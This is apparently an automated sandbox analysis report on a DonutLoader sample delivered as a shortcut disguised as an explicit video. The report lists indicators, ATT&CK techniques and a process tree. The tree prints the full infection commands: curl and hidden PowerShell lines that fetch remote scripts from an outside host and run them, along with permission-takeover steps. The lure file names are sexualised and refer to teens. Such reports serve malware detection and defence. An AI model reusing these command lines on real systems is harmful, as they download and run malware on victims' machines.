donutloader | e06cbda80536d564ed5ce571010f9130a20ab1155e788e0066c33d884a9927fe

Resubmissions

26/06/2026, 04:27

260626-e3f1rahw6l10

26/06/2026, 04:21

260626-eytfaagy4y10

Analysis

max time kernel
148s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
26/06/2026, 04:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
PACK8/teenpussyfeetandass.mp4.lnk
Size 699B
Sample260626-e3f1rahw6l
SHA256 e06cbda80536d564ed5ce571010f9130a20ab1155e788e0066c33d884a9927fe
MD5 17858f034b706a54fc48a9894c6fb4b6
SHA1 64bedc3fa6ff5c5ab789db331a12a6da451998b9
SHA512 c2ad329584366e4ddf187a1494fa078195409f9d51723470f0bc8117476b692b86d8c030b52c6aa6daee6ceec30f74e7b6a7839569f71a71663d97d453aee4b3
TLSH
T10D01285021EC172CC3B35E3B087596114A22BA07EE32DF2C13D4858C9858204ED39F3A
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion discovery execution exploit donutloader loader persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://racist.pics/license/authcheck

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://racist.pics/license/authcheck

Signatures

Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
loader donutloader

Detects DonutLoader 1 IoCs

loader

resource	yara_rule
behavioral5/memory/760-118-0x000001FF6A170000-0x000001FF6A18A000-memory.dmp	family_donutloader

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
22	1080	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1080	powershell.exe
4980	powershell.exe
1248	powershell.exe
4452	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
23	1056	curl.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	powershell.exe

Possible privilege escalation attempt 6 IoCs

exploit

pid	Process
1012	icacls.exe
5768	icacls.exe
4304	icacls.exe
1672	takeown.exe
5144	icacls.exe
1560	icacls.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\Control Panel\International\Geo\Nation	cmd.exe

Deletes itself 1 IoCs

pid	Process
1080	powershell.exe

Executes dropped EXE 5 IoCs

pid	Process
2156	7z.exe
760	node.exe
2884	PsExec.exe
3068	PSEXESVC.exe
4236	PSEXESVC.exe

Loads dropped DLL 1 IoCs

pid	Process
760	node.exe

Modifies file permissions 1 TTPs 6 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1012	icacls.exe
5768	icacls.exe
4304	icacls.exe
1672	takeown.exe
5144	icacls.exe
1560	icacls.exe

Drops desktop.ini file(s) 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\desktop.ini	powershell.exe

Hide Artifacts: Hidden Window 1 TTPs 1 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
2884	PsExec.exe

Power Settings 1 TTPs 2 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
1448	powercfg.exe
5332	powercfg.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\PSEXESVC.exe	PsExec.exe
File opened for modification	C:\Windows\PSEXEC-OCPZFHHI-15B19791.key	PSEXESVC.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PSEXESVC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	7z.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PsExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PSEXESVC.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@%SystemRoot%\system32\powrprof.dll,-19 = "Ultimate Performance"	powercfg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
852	vlc.exe

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
1080	powershell.exe
1080	powershell.exe
1080	powershell.exe
4452	powershell.exe
4452	powershell.exe
4452	powershell.exe
4452	powershell.exe
4452	powershell.exe
4452	powershell.exe
4980	powershell.exe
4980	powershell.exe
4980	powershell.exe
1248	powershell.exe
1248	powershell.exe
1248	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
852	vlc.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1080	powershell.exe
Token: SeIncreaseQuotaPrivilege	1080	powershell.exe
Token: SeSecurityPrivilege	1080	powershell.exe
Token: SeTakeOwnershipPrivilege	1080	powershell.exe
Token: SeLoadDriverPrivilege	1080	powershell.exe
Token: SeSystemProfilePrivilege	1080	powershell.exe
Token: SeSystemtimePrivilege	1080	powershell.exe
Token: SeProfSingleProcessPrivilege	1080	powershell.exe
Token: SeIncBasePriorityPrivilege	1080	powershell.exe
Token: SeCreatePagefilePrivilege	1080	powershell.exe
Token: SeBackupPrivilege	1080	powershell.exe
Token: SeRestorePrivilege	1080	powershell.exe
Token: SeShutdownPrivilege	1080	powershell.exe
Token: SeDebugPrivilege	1080	powershell.exe
Token: SeSystemEnvironmentPrivilege	1080	powershell.exe
Token: SeRemoteShutdownPrivilege	1080	powershell.exe
Token: SeUndockPrivilege	1080	powershell.exe
Token: SeManageVolumePrivilege	1080	powershell.exe
Token: 33	1080	powershell.exe
Token: 34	1080	powershell.exe
Token: 35	1080	powershell.exe
Token: 36	1080	powershell.exe
Token: SeIncreaseQuotaPrivilege	1080	powershell.exe
Token: SeSecurityPrivilege	1080	powershell.exe
Token: SeTakeOwnershipPrivilege	1080	powershell.exe
Token: SeLoadDriverPrivilege	1080	powershell.exe
Token: SeSystemProfilePrivilege	1080	powershell.exe
Token: SeSystemtimePrivilege	1080	powershell.exe
Token: SeProfSingleProcessPrivilege	1080	powershell.exe
Token: SeIncBasePriorityPrivilege	1080	powershell.exe
Token: SeCreatePagefilePrivilege	1080	powershell.exe
Token: SeBackupPrivilege	1080	powershell.exe
Token: SeRestorePrivilege	1080	powershell.exe
Token: SeShutdownPrivilege	1080	powershell.exe
Token: SeDebugPrivilege	1080	powershell.exe
Token: SeSystemEnvironmentPrivilege	1080	powershell.exe
Token: SeRemoteShutdownPrivilege	1080	powershell.exe
Token: SeUndockPrivilege	1080	powershell.exe
Token: SeManageVolumePrivilege	1080	powershell.exe
Token: 33	1080	powershell.exe
Token: 34	1080	powershell.exe
Token: 35	1080	powershell.exe
Token: 36	1080	powershell.exe
Token: SeIncreaseQuotaPrivilege	1080	powershell.exe
Token: SeSecurityPrivilege	1080	powershell.exe
Token: SeTakeOwnershipPrivilege	1080	powershell.exe
Token: SeLoadDriverPrivilege	1080	powershell.exe
Token: SeSystemProfilePrivilege	1080	powershell.exe
Token: SeSystemtimePrivilege	1080	powershell.exe
Token: SeProfSingleProcessPrivilege	1080	powershell.exe
Token: SeIncBasePriorityPrivilege	1080	powershell.exe
Token: SeCreatePagefilePrivilege	1080	powershell.exe
Token: SeBackupPrivilege	1080	powershell.exe
Token: SeRestorePrivilege	1080	powershell.exe
Token: SeShutdownPrivilege	1080	powershell.exe
Token: SeDebugPrivilege	1080	powershell.exe
Token: SeSystemEnvironmentPrivilege	1080	powershell.exe
Token: SeRemoteShutdownPrivilege	1080	powershell.exe
Token: SeUndockPrivilege	1080	powershell.exe
Token: SeManageVolumePrivilege	1080	powershell.exe
Token: 33	1080	powershell.exe
Token: 34	1080	powershell.exe
Token: 35	1080	powershell.exe
Token: 36	1080	powershell.exe

Suspicious use of FindShellTrayWindow 24 IoCs

pid	Process
852	vlc.exe
852	vlc.exe
852	vlc.exe
852	vlc.exe
852	vlc.exe
852	vlc.exe
852	vlc.exe
852	vlc.exe
852	vlc.exe
852	vlc.exe
852	vlc.exe
852	vlc.exe
852	vlc.exe
852	vlc.exe
852	vlc.exe
852	vlc.exe
852	vlc.exe
852	vlc.exe
852	vlc.exe
852	vlc.exe
852	vlc.exe
852	vlc.exe
852	vlc.exe
852	vlc.exe

Suspicious use of SendNotifyMessage 7 IoCs

pid	Process
852	vlc.exe
852	vlc.exe
852	vlc.exe
852	vlc.exe
852	vlc.exe
852	vlc.exe
852	vlc.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
852	vlc.exe
852	vlc.exe
852	vlc.exe
852	vlc.exe

Suspicious use of WriteProcessMemory 52 IoCs

description	pid	Process	procid_target
PID 5700 wrote to memory of 5024	5700	cmd.exe	87
PID 5024 wrote to memory of 852	5024	cmd.exe	88
PID 5024 wrote to memory of 5004	5024	cmd.exe	90
PID 5024 wrote to memory of 1080	5024	cmd.exe	91
PID 1080 wrote to memory of 5296	1080	powershell.exe	92
PID 1080 wrote to memory of 5464	1080	powershell.exe	95
PID 5464 wrote to memory of 1448	5464	csc.exe	96
PID 1080 wrote to memory of 5892	1080	powershell.exe	98
PID 5892 wrote to memory of 1012	5892	csc.exe	99
PID 1080 wrote to memory of 2940	1080	powershell.exe	100
PID 2940 wrote to memory of 5604	2940	csc.exe	102
PID 1080 wrote to memory of 3764	1080	powershell.exe	103
PID 1080 wrote to memory of 4880	1080	powershell.exe	104
PID 1080 wrote to memory of 1056	1080	powershell.exe	106
PID 1080 wrote to memory of 216	1080	powershell.exe	109
PID 1080 wrote to memory of 2156	1080	powershell.exe	110
PID 1080 wrote to memory of 5624	1080	powershell.exe	111
PID 1080 wrote to memory of 1672	1080	powershell.exe	112
PID 1080 wrote to memory of 1104	1080	powershell.exe	113
PID 1080 wrote to memory of 3740	1080	powershell.exe	114
PID 1080 wrote to memory of 5192	1080	powershell.exe	115
PID 1080 wrote to memory of 4796	1080	powershell.exe	116
PID 1080 wrote to memory of 5504	1080	powershell.exe	117
PID 1080 wrote to memory of 5596	1080	powershell.exe	118
PID 1080 wrote to memory of 5108	1080	powershell.exe	119
PID 1080 wrote to memory of 760	1080	powershell.exe	120
PID 5600 wrote to memory of 4452	5600	cmd.exe	125
PID 4452 wrote to memory of 5856	4452	powershell.exe	126
PID 5856 wrote to memory of 2628	5856	csc.exe	127
PID 4452 wrote to memory of 4296	4452	powershell.exe	128
PID 4452 wrote to memory of 2884	4452	powershell.exe	129
PID 3068 wrote to memory of 4980	3068	PSEXESVC.exe	132
PID 4980 wrote to memory of 4768	4980	powershell.exe	136
PID 4768 wrote to memory of 5052	4768	csc.exe	137
PID 4980 wrote to memory of 1448	4980	powershell.exe	138
PID 4980 wrote to memory of 5332	4980	powershell.exe	139
PID 4980 wrote to memory of 5144	4980	powershell.exe	140
PID 4980 wrote to memory of 1560	4980	powershell.exe	141
PID 4980 wrote to memory of 1012	4980	powershell.exe	142
PID 4980 wrote to memory of 5768	4980	powershell.exe	143
PID 4980 wrote to memory of 4304	4980	powershell.exe	144
PID 4980 wrote to memory of 3488	4980	powershell.exe	145
PID 4980 wrote to memory of 4196	4980	powershell.exe	146
PID 4980 wrote to memory of 3652	4980	powershell.exe	147
PID 4980 wrote to memory of 1500	4980	powershell.exe	148
PID 4980 wrote to memory of 3028	4980	powershell.exe	149
PID 4980 wrote to memory of 1276	4980	powershell.exe	150
PID 4980 wrote to memory of 6032	4980	powershell.exe	152
PID 4980 wrote to memory of 5916	4980	powershell.exe	153
PID 4980 wrote to memory of 5872	4980	powershell.exe	154
PID 4980 wrote to memory of 3440	4980	powershell.exe	155
PID 4980 wrote to memory of 1248	4980	powershell.exe	156

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 7 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1104	attrib.exe
3740	attrib.exe
5192	attrib.exe
4796	attrib.exe
5108	attrib.exe
5596	attrib.exe
5504	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\PACK8\teenpussyfeetandass.mp4.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /v:on /c (start "" ..\ㅤㅤ\teenpussyfeetandass.mp4)&(curl.exe https://3gunit.com/leaks/a -H "auth: JNPN7CwV" -o C:\Users\Admin\AppData\Local\Temp\a.cmd)&(C:\Users\Admin\AppData\Local\Temp\a.cmd https://3gunit.com 106)
  2⤵
  - Checks computer location settings
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:5024
- - C:\Program Files\VideoLAN\VLC\vlc.exe
    "C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file "C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenpussyfeetandass.mp4"
    3⤵
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of SetWindowsHookEx
    PID:852
- - C:\Windows\system32\curl.exe
    curl.exe https://3gunit.com/leaks/a -H "auth: JNPN7CwV" -o C:\Users\Admin\AppData\Local\Temp\a.cmd
    3⤵
    PID:5004
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& {param($u,$c); if (-not $u) { exit }; curl.exe \"$u/rAU.ps1\" | iex }" "https://3gunit.com" "106"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Deletes itself
    - Drops desktop.ini file(s)
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1080
  - - C:\Windows\system32\curl.exe
      "C:\Windows\system32\curl.exe" https://3gunit.com/rAU.ps1
      4⤵
      PID:5296
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\lfcuf1km\lfcuf1km.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5464
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1548.tmp" "c:\Users\Admin\AppData\Local\Temp\lfcuf1km\CSC1B5DEA6167F4F4B926C2A46A1F4CA7D.TMP"
        5⤵
        
        PID:1448
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\rj50ptyl\rj50ptyl.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5892
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1613.tmp" "c:\Users\Admin\AppData\Local\Temp\rj50ptyl\CSC3D03D0A0D6394B0FA8EA99BECD2745.TMP"
        5⤵
        
        PID:1012
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\51sjs01i\51sjs01i.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2940
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1661.tmp" "c:\Users\Admin\AppData\Local\Temp\51sjs01i\CSCDCC8695F57DC4A4EB7B3B4A8E362EC86.TMP"
        5⤵
        
        PID:5604
  - - C:\Windows\system32\curl.exe
      "C:\Windows\system32\curl.exe" https://3gunit.com/rIF.ps1 -o C:\ProgramData\rIF.ps1
      4⤵
      PID:3764
  - - C:\Windows\system32\curl.exe
      "C:\Windows\system32\curl.exe" https://3gunit.com/invoke.vbs -o C:\ProgramData\invoke.vbs
      4⤵
      PID:4880
  - - C:\Windows\system32\curl.exe
      "C:\Windows\system32\curl.exe" https://3gunit.com/7z.exe -o C:\Users\Admin\AppData\Local\Temp/build\7z.exe
      4⤵
      Downloads MZ/PE file
      PID:1056
  - - C:\Windows\system32\curl.exe
      "C:\Windows\system32\curl.exe" https://3gunit.com/1.7z -o C:\Users\Admin\AppData\Local\Temp/build\1.7z
      4⤵
      PID:216
  - - C:\Users\Admin\AppData\Local\Temp\build\7z.exe
      "C:\Users\Admin\AppData\Local\Temp\build\7z.exe" x C:\Users\Admin\AppData\Local\Temp/build\1.7z -phttps://racist.pics/license/authcheck -oC:\Users\Admin\AppData\Local\Temp/build -y
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:2156
  - - C:\Windows\system32\curl.exe
      "C:\Windows\system32\curl.exe" https://3gunit.com/rAA.ps1 -o C:\Users\Admin\AppData\Local\Temp/build\helloworld.ps1
      4⤵
      PID:5624
  - - C:\Windows\system32\takeown.exe
      "C:\Windows\system32\takeown.exe" /F C:\Users\Admin\AppData\Local\Temp\ㅤㅤ /r /d y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1672
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" -r -s -h ..\ㅤㅤ
      4⤵
      Views/modifies file attributes
      PID:1104
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" -r -s -h C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\desktop.ini
      4⤵
      Drops desktop.ini file(s)
      Views/modifies file attributes
      PID:3740
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" -r -s -h C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenpussyfeetandass.mp4
      4⤵
      Views/modifies file attributes
      PID:5192
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" -r -s -h C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenreversecowgirlboyf.mp4
      4⤵
      Views/modifies file attributes
      PID:4796
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" -r -s -h C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenslutdroppanties.mp4
      4⤵
      Views/modifies file attributes
      PID:5504
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" -r -s -h C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenslutpussyspread.mp4
      4⤵
      Views/modifies file attributes
      PID:5596
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" -r -s -h C:\Users\Admin\AppData\Local\Temp\ㅤㅤ\teenSnapchatdihhfrombe.mp4
      4⤵
      Views/modifies file attributes
      PID:5108
  - - C:\Users\Admin\AppData\Local\Temp\build\node.exe
      "C:\Users\Admin\AppData\Local\Temp\build\node.exe" index.js
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:760

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powershell -ExecutionPolicy Bypass -File "%TMP%\build\helloworld.ps1"
1⤵
- Suspicious use of WriteProcessMemory
PID:5600
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\build\helloworld.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4452
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\cyz0vewd\cyz0vewd.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5856
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4A43.tmp" "c:\Users\Admin\AppData\Local\Temp\cyz0vewd\CSC97DC1F2B5F9F4283ABC9A9A41FAFD9EF.TMP"
      4⤵
